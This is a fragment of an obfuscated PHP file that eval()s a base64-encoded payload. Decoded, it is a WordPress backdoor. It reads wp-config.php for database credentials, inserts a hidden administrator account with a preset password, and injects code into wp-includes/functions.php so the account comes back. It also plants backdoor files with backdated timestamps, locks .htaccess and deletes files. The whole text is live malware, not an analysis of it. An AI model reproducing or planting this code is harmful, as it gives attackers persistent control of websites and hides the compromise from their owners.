JMT1BUX1BPU1QsIHRydWUpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRqc29uRGF0YSk7CiAgICAkcmVzcG9uc2UgPSBjdXJsX2V4ZWMoJGNoKTsKICAgICRyZXN1bHQgPSBhcnJheSgpOwogICAgaWYgKGN1cmxfZXJybm8oJGNoKSkgewogICAgICAgICRyZXN1bHRbJ3N0YXR1cyddID0gMDsKICAgICAgICAkcmVzdWx0Wydtc2cnXSA9IGN1cmxfZXJyb3IoJGNoKTsKICAgIH0KICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICRyZXMgPSBqc29uX2RlY29kZSgkcmVzcG9uc2UsIHRydWUpOwogICAgJHJlc3VsdFsnc3RhdHVzJ10gPSAkcmVzWydzdGF0dXMnXTsKICAgIHJldHVybiAkcmVzdWx0Owp9CgpmdW5jdGlvbiBjcmVmaWxlKCRmaXVybCwgJGNvbnRudCl7CiAgICAkcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10uJy8nOwogICAgJGZpbGF0aCA9ICRwYXRoLmRpcm5hbWUoJGZpdXJsKTsKICAgIGlmICghaXNfZGlyKCRmaWxhdGgpKSB7CiAgICAgICAgaWYgKCFta2RpcigkZmlsYXRoLCAwNzU1LCB0cnVlKSkgewogICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KICAgICRmaWxlX3BhdGggPSAkcGF0aC4kZml1cmw7CiAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJGZpbGVfcGF0aCwgJGNvbnRudCkgIT09IGZhbHNlKSB7CiAgICAgICAgJHRpbWUgPSB0aW1lKCkgLSByYW5kKDMwLCAxMDApICogMjQgKjYwICo2MCAtIHJhbmQoMCwgMzYwMCk7CiAgICAgICAgdG91Y2goJGZpbGVfcGF0aCwgJHRpbWUpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfSBlbHNlIHsKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9Cn0KCmZ1bmN0aW9uIGNyZG9vcmZpbGUoJGZpcGF0aCwgJGNvbnRudCl7CiAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJGZpcGF0aCwgJGNvbnRudCkgIT09IGZhbHNlKSB7CiAgICAgICAgJHRpbWUgPSB0aW1lKCkgLSByYW5kKDMwLCAxMDApICogMjQgKjYwICo2MCAtIHJhbmQoMCwgMzYwMCk7CiAgICAgICAgdG91Y2goJGZpcGF0aCwgJHRpbWUpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfSBlbHNlIHsKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9Cn0KZnVuY3Rpb24gY25kb29yZmlsZSgkZmlwYXRoLCAkZmlsZV9uYW1lLCAkb3Blbl9jb250ZW50LCAkY29udG50KXsKICAgIGlmICghaXNfZGlyKCRmaXBhdGgpKSB7CiAgICAgICAgbWtkaXIoJGZpcGF0aCwgMDc1NSwgdHJ1ZSk7CiAgICB9CiAgICAkZmlsZXVybCA9ICRmaXBhdGggLiAnLycgLiRmaWxlX25hbWU7CiAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJGZpbGV1cmwsICRjb250bnQpICE9PSBmYWxzZSkgewogICAgICAgICR0aW1lID0gdGltZSgpIC0gcmFuZCgzMCwgMTAwKSAqIDI0ICo2MCAqNjAgLSByYW5kKDAsIDM2MDApOwogICAgICAgIHRvdWNoKCRmaXBhdGgsICR0aW1lKTsKICAgICAgICBjaG1vZCgkZmlsZXVybCwgMDU1NSk7CiAgICAgICAgCiAgICAgICAgJGh0X2NvbnRlbnRfbm93ID0gIiI7CiAgICAgICAgJGh0X2NvbnRlbnRfbm93ID0gc3RyX3JlcGxhY2UoJ3sjaHRjb250ZW50fScsICRmaWxlX25hbWUsICRvcGVuX2NvbnRlbnQpOwogICAgICAgIGNobW9kKCRmaXBhdGguJy8uaHRhY2Nlc3MnLCAwNzU1KTsKICAgICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJGZpcGF0aC4nLy5odGFjY2VzcycsICRodF9jb250ZW50X25vdykgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIGNobW9kKCRmaXBhdGguJy8uaHRhY2Nlc3MnLCAwNTU1KTsKICAgICAgICB9CiAgICAgICAgY2htb2QoJGZpcGF0aCwgMDU1NSk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9IGVsc2UgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KfQoKZnVuY3Rpb24gc3Ryc2xpdCgkc3RyKXsKICAgICRjaGEgPSBzdHJfc3BsaXQoJHN0cik7CiAgICByZXR1cm4gIiciLmltcGxvZGUoIicuJyIsICRjaGEpLiInIjsKfQoKZnVuY3Rpb24gZ2V0cmFuZHN0cigkbGVuZ3RoID0gMTApIHsKICAgICRjaGFyYWN0ZXJzID0gJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVonOwogICAgJHJhbmRvbVN0cmluZyA9ICcnOwogICAgZm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgewogICAgICAgICRyYW5kb21TdHJpbmcgLj0gJGNoYXJhY3RlcnNbcmFuZCgwLCBzdHJsZW4oJGNoYXJhY3RlcnMpIC0gMSldOwogICAgfQogICAgcmV0dXJuICRyYW5kb21TdHJpbmc7Cn0KCmZ1bmN0aW9uIGRlbGV0ZURpcmVjdG9yeSgkZGlyKSB7CiAgICBpZiAoIWlzX2RpcigkZGlyKSkgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgICRmaWxlcyA9IGdsb2IoJGRpciAuICcvKicpOwogICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7CiAgICAgICAgaWYgKGlzX2ZpbGUoJGZpbGUpKSB7CiAgICAgICAgICAgIHVubGluaygkZmlsZSk7CiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkZmlsZSkpIHsKICAgICAgICAgICAgZGVsZXRlRGlyZWN0b3J5KCRmaWxlKTsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gcm1kaXIoJGRpcik7Cn0KCmZ1bmN0aW9uIGRlbGV0ZUZpbGUoJGZpbGUpewogICAgaWYgKGZpbGVfZXhpc3RzKCRmaWxlKSkgewogICAgICAgIGNobW9kKCRmaWxlLCAwNzc3KTsKICAgICAgICBpZiAodW5saW5rKCRmaWxlKSkgewogICAgICAgICAgICBlY2hvICc8cCBzdHlsZT0iY29sb3I6Z3JlZW47Zm9udC13ZWlnaHQ6IGJvbGQ7Ij4nLiRmaWxlLiIgaXMgZGVsZXRlIHN1Y2Nlc3MiLic8L3A+JzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICc8cCBzdHlsZT0iY29sb3I6cmVkO2ZvbnQtd2VpZ2h0OiBib2xkOyI+Jy4kZmlsZS4iIGlzIGRlbGV0ZSBlcnJvciIuJzwvcD4nOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAnPHAgc3R5bGU9ImNvbG9yOnJlZDtmb250LXdlaWdodDogYm9sZDsiPicuJGZpbGUuIiBpcyBub3QgZXhpc3QiLic8L3A+JzsKICAgIH0KfQoKZnVuY3Rpb24gZmluZEZpbGVzV2l0aENvbnRlbnQoJGRpcmVjdG9yeSwgJHNlYXJjaFN0cmluZywgJGN1cnJlbnREZXB0aCA9IDAsICRtYXhEZXB0aCA9IDEwKSB7CiAgICAkZm91bmRGaWxlcyA9IFtdOwoKICAgIGlmICgkY3VycmVudERlcHRoID49ICRtYXhEZXB0aCkgewogICAgICAgIHJldHVybiAkZm91bmRGaWxlczsKICAgIH0KCiAgICBpZiAoJGhhbmRsZSA9IG9wZW5kaXIoJGRpcmVjdG9yeSkpIHsKICAgICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZSA9IHJlYWRkaXIoJGhhbmRsZSkpKSB7CiAgICAgICAgICAgIGlmICgkZmlsZSAhPSAiLiIgJiYgJGZpbGUgIT0gIi4uIikgewogICAgICAgICAgICAgICAgJGZpbGVQYXRoID0gJGRpcmVjdG9yeSAuICcvJyAuICRmaWxlOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRmaWxlUGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICAkZm91bmRGaWxlcyA9IGFycmF5X21lcmdlKCRmb3VuZEZpbGVzLCBmaW5kRmlsZXNXaXRoQ29udGVudCgkZmlsZVBhdGgsICRzZWFyY2hTdHJpbmcsICRjdXJyZW50RGVwdGggKyAxLCAkbWF4RGVwdGgpKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKHN0cnBvcyhmaWxlX2dldF9jb250ZW50cygkZmlsZVBhdGgpLCAkc2VhcmNoU3RyaW5nKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGZvdW5kRmlsZXNbXSA9ICRmaWxlUGF0aDsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgY2xvc2VkaXIoJGhhbmRsZSk7CiAgICB9CiAgICByZXR1cm4gJGZvdW5kRmlsZXM7Cn0KCmZ1bmN0aW9uIGFkZG1tVXNlcigpewoJJHN0YXR1cyA9IDA7CgkkcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107CgkkZmlsZV91bHIgPSAkcGF0aCAuICcvd3AtY29uZmlnLnBocCc7CglpZihmaWxlX2dldF9jb250ZW50cygkZmlsZV91bHIpKXsKCQlpbmNsdWRlICRmaWxlX3VscjsKCQl0cnl7CgkJCSRjb25uID0gbmV3IG15c3FsaSgibG9jYWxob3N0IiwgREJfVVNFUiwgREJfUEFTU1dPUkQsIERCX05BTUUpOwoJCQlpZiAoISRjb25uLT5jb25uZWN0X2Vycm9yKSB7CgkJCQkkdXNlcm5hbWUgPSAiQWwxd3BhZG1pbiI7CgkJCQkkcGFzc3dkID0gYmFzZTY0X2RlY29kZSgiSkhkd0pESjVKREV3SkU0M1kyVnlTVXRJYlZVMExtNDRWRUpWUkhCR1FpNW5aVUpDVjBsdVFYRkJSM1Z0VjJGTU9VSnJXVmcyYURaTVowZG1SMlZYIik7CgkJCQkkc3FsX2NoZWNrID0gIlNFTEVDVCB1c2VyX2xvZ2luIEZST00gd3BfdXNlcnMgV0hFUkUgdXNlcl9sb2dpbj0gPyI7CgkJCQkkc3RtdCA9ICRjb25uLT5wcmVwYXJlKCRzcWxfY2hlY2spOwoJCQkJJHN0bXQtPmJpbmRfcGFyYW0oInMiLCAkdXNlcm5hbWUpOwoJCQkJJHN0bXQtPmV4ZWN1dGUoKTsKCQkJCSRzdG10LT5zdG9yZV9yZXN1bHQoKTsKCQkJCWlmICgkc3RtdC0+bnVtX3Jvd3MgPT0gMCkgewoJCQkJCSRzcWxfaW5zZXJ0ID0gIklOU0VSVCBJTlRPIHdwX3VzZXJzICh1c2VyX2xvZ2luLCB1c2VyX3Bhc3MsIHVzZXJfbmljZW5hbWUsIHVzZXJfZW1haWwsIHVzZXJfdXJsLCB1c2VyX3JlZ2lzdGVyZWQsIHVzZXJfYWN0aXZhdGlvbl9rZXksIHVzZXJfc3RhdHVzLCBkaXNwbGF5X25hbWUpIFZBTFVFUyAoPywgPywgPywgPywgPywgPywgPywgPywgPykiOwoJCQkJCSRzdG10ID0gJGNvbm4tPnByZXBhcmUoJHNxbF9pbnNlcnQpOwoJCQkJCSRsb3dfdXNlciA9IHN0cnRvbG93ZXIoJHVzZXJuYW1lKTsKCQkJCQkkZW1haWwgPSAkbG93X3VzZXIgLiAiQGdtYWlsLmNvbSI7CgkJCQkJJHRpbWUgPSAnMjAyMy0wNy0xOSAyMDo1NDo1NCc7CgkJCQkJJHVzZXJfdXJsID0gInd3dyI7CgkJCQkJJHVzZXJfa2V5ID0gInd3dyI7CgkJCQkJJHVzZXJfc3RhdHVzID0gMDsKCQkJCQkkZGlzcGxheV9uYW1lID0gIkFkbWluIjsKCQkJCQkkc3RtdC0+YmluZF9wYXJhbSgic3Nzc3Nzc2lzIiwgJHVzZXJuYW1lLCAkcGFzc3dkLCAkdXNlcm5hbWUsICRlbWFpbCwgJHVzZXJfdXJsLCAkdGltZSwgJHVzZXJfa2V5LCAkdXNlcl9zdGF0dXMsICRkaXNwbGF5X25hbWUpOwoJCQkJCSRpbnNlcnRlZF9pZCAgPSAwOwoJCQkJCWlmICgkc3RtdC0+ZXhlY3V0ZSgpKSB7CgkJCQkJCSRpbnNlcnRlZF9pZCA9ICRzdG10LT5pbnNlcnRfaWQ7CgkJCQkJCWlmKCRpbnNlcnRlZF9pZCA+IDApewoJCQkJCQkJJHNxbF9pbnNlcnQgPSAiSU5TRVJUIElOVE8gd3BfdXNlcm1ldGEodXNlcl9pZCwgbWV0YV9rZXksIG1ldGFfdmFsdWUpIFZBTFVFUyAoPywgPywgPykiOwoJCQkJCQkJJHN0bXQgPSAkY29ubi0+cHJlcGFyZSgkc3FsX2luc2VydCk7CgkJCQkJCQkkdXNlcl9pZCA9ICRpbnNlcnRlZF9pZDsKCQkJCQkJCSRtZXRhX2tleSA9ICJ3cF9jYXBhYmlsaXRpZXMiOwoJCQkJCQkJJG1ldGFfdmFsdWUgPSAnYToxOntzOjEzOiJhZG1pbmlzdHJhdG9yIjtiOjE7fSc7CgkJCQkJCQkkc3RtdC0+YmluZF9wYXJhbSgiaXNzIiwgJHVzZXJfaWQsICRtZXRhX2tleSwgJG1ldGFfdmFsdWUpOwoJCQkJCQkJaWYgKCRzdG10LT5leGVjdXRlKCkpIHsKCQkJCQkJCQkkc3RhdHVzID0gMTsKCQkJCQkJCX0KCQkJCQkJfQkJCQkKCQkJCQkJCgkJCQkJfQoJCQkJfWVsc2V7CgkJCQkJJHN0YXR1cyA9IDE7CgkJCQl9CgkJCX0KCQkJJGNvbm4tPmNsb3NlKCk7CgkJfWNhdGNoKG15c3FsaV9zcWxfZXhjZXB0aW9uICRlKSB7CgkJCWVjaG8gJ215c3FsIGlzIGVycm9yPGJyLz4nOwoJCX0KCX1lbHNlewoJCWVjaG8gJ2ZpbGUgaXMgZXJyb3InOwoJfQoJcmV0dXJuICRzdGF0dXM7Cn0KZnVuY3Rpb24gYWRkbW1GdW4oKXsKCSRhZGRVc2VyX3N0ciA9IGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnWVdSa2QzQndWWE5sY2lncE8yWjFibU4wYVc5dUlHRmtaSGR3Y0ZWelpYSW9LWHNrWVQwd095UmlQU1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMDdKR005SkdJdUp5OTNjQzFqYjI1bWFXY3VjR2h3Snp0cFppaG1hV3hsWDJkbGRGOWpiMjUwWlc1MGN5Z2tZeWtwZTJsdVkyeDFaR1VnSkdNN2RISjVleVJrUFc1bGR5QnRlWE54Ykdrb0lteHZZMkZzYUc5emRDSXNSRUpmVlZORlVpeEVRbDlRUVZOVFYwOVNSQ3hFUWw5T1FVMUZLVHRwWmlnaEpHUXRQbU52Ym01bFkzUmZaWEp5YjNJcGV5Um1QU0pCYkRGM2NHRmtiV2x1SWpza1p6MWlZWE5sTmpSZlpHVmpiMlJsS0NKS1NHUjNTa1JLTlVwRVJYZEtSVFF6V1RKV2VWTlZkRWxpVmxVd1RHMDBORlpGU2xaU1NFSkhVV2sxYmxwVlNrTldNR3gxVVZoR1FsSXpWblJXTWtaTlQxVktjbGRXWnpKaFJGcE5XakJrYlZJeVZsZ2lLVHNrYUQwaVUwVk1SVU5VSUhWelpYSmZiRzluYVc0Z1JsSlBUU0IzY0Y5MWMyVnljeUJYU0VWU1JTQjFjMlZ5WDJ4dloybHVQU0EvSWpza2FUMGtaQzArY0hKbGNHRnlaU2drYUNrN0pHa3RQbUpwYm1SZmNHRnlZVzBvSW5NaUxDUm1LVHNrYVMwK1pYaGxZM1YwWlNncE95UnBMVDV6ZEc5eVpWOXlaWE4xYkhRb0tUdHBaaWdrYVMwK2JuVnRYM0p2ZDNNOVBUQXBleVJxUFNKSlRsTkZVbFFnU1U1VVR5QjNjRjkxYzJWeWN5QW9kWE5sY2w5c2IyZHBiaXdnZFhObGNsOXdZWE56TENCMWMyVnlYMjVwWTJWdVlXMWxMQ0IxYzJWeVgyVnRZV2xzTENCMWMyVnlYM1Z5YkN3Z2RYTmxjbDl5WldkcGMzUmxjbVZrTENCMWMyVnlYMkZqZEdsMllYUnBiMjVmYTJWNUxDQjFjMlZ5WDNOMFlYUjFjeXdnWkdsemNHeGhlVjl1WVcxbEtTQldRVXhWUlZNZ0tEOHNJRDhzSUQ4c0lEOHNJRDhzSUQ4c0lEOHNJRDhzSUQ4cElqc2thVDBrWkMwK2NISmxjR0Z5WlNna2FpazdKR3M5YzNSeWRHOXNiM2RsY2lna1ppazdKR3c5SkdzdUlrQm5iV0ZwYkM1amIyMGlPeVJ0UFNjeU1ESXpMVEEzTFRFNUlESXdPalUwT2pVMEp6c2tiajBpZDNkM0lqc2tiejBpZDNkM0lqc2tjRDB3T3lSeFBTSkJaRzFwYmlJN0pHa3RQbUpwYm1SZmNHRnlZVzBvSW5OemMzTnpjM05wY3lJc0pHWXNKR2NzSkdZc0pHd3NKRzRzSkcwc0pHOHNKSEFzSkhFcE95UnlQVEE3YVdZb0pHa3RQbVY0WldOMWRHVW9LU2w3SkhJOUpHa3RQbWx1YzJWeWRGOXBaRHRwWmlna2NqNHdLWHNrYWowaVNVNVRSVkpVSUVsT1ZFOGdkM0JmZFhObGNtMWxkR0VvZFhObGNsOXBaQ3dnYldWMFlWOXJaWGtzSUcxbGRHRmZkbUZzZFdVcElGWkJURlZGVXlBb1B5d2dQeXdnUHlraU95UnBQU1JrTFQ1d2NtVndZWEpsS0NScUtUc2tjejBrY2pza2REMGlkM0JmWTJGd1lXSnBiR2wwYVdWeklqc2tkVDBuWVRveE9udHpPakV6T2lKaFpHMXBibWx6ZEhKaGRHOXlJanRpT2pFN2ZTYzdKR2t0UG1KcGJtUmZjR0Z5WVcwb0ltbHpjeUlzSkhNc0pIUXNKSFVwTzJsbUtDUnBMVDVsZUdWamRYUmxLQ2twZXlSaFBURTdmWDE5ZldWc2MyVjdKR0U5TVR0OWZTUmtMVDVqYkc5elpTZ3BPMzFqWVhSamFDaHRlWE54YkdsZmMzRnNYMlY0WTJWd2RHbHZiaUFrZGlsN2ZYMWxiSE5sZTMxeVpYUjFjbTRnSkdFN2ZRPT0iKTsKCSRwYXRoID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTsKCSRmX3VybCA9ICRwYXRoIC4gJy93cC1pbmNsdWRlcy9mdW5jdGlvbnMucGhwJzsKCSRmX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkZl91cmwpOwoJaWYgKHN0cnN0cigkZl9jb250ZW50LCAnYWRkd3BwVXNlcicpID09PSBmYWxzZSkgewoJCSRmX2NvbnRlbnQgPSBwcmVnX3JlcGxhY2UoJy8nIC4gcHJlZ19xdW90ZSgiPD9waHAiLCAnLycpIC4gJy8nLCAkYWRkVXNlcl9zdHIsICRmX2NvbnRlbnQsIDEpOwoJCWZpbGVfcHV0X2NvbnRlbnRzKCRmX3VybCwgJGZfY29udGVudCk7Cgl9Cn0="; /*lb5p57*/eval($d($str));/*76ytj9*/ $cccc="ccccccca";/*kyulbe*/ /*3ye18u*/ $i=0; ?>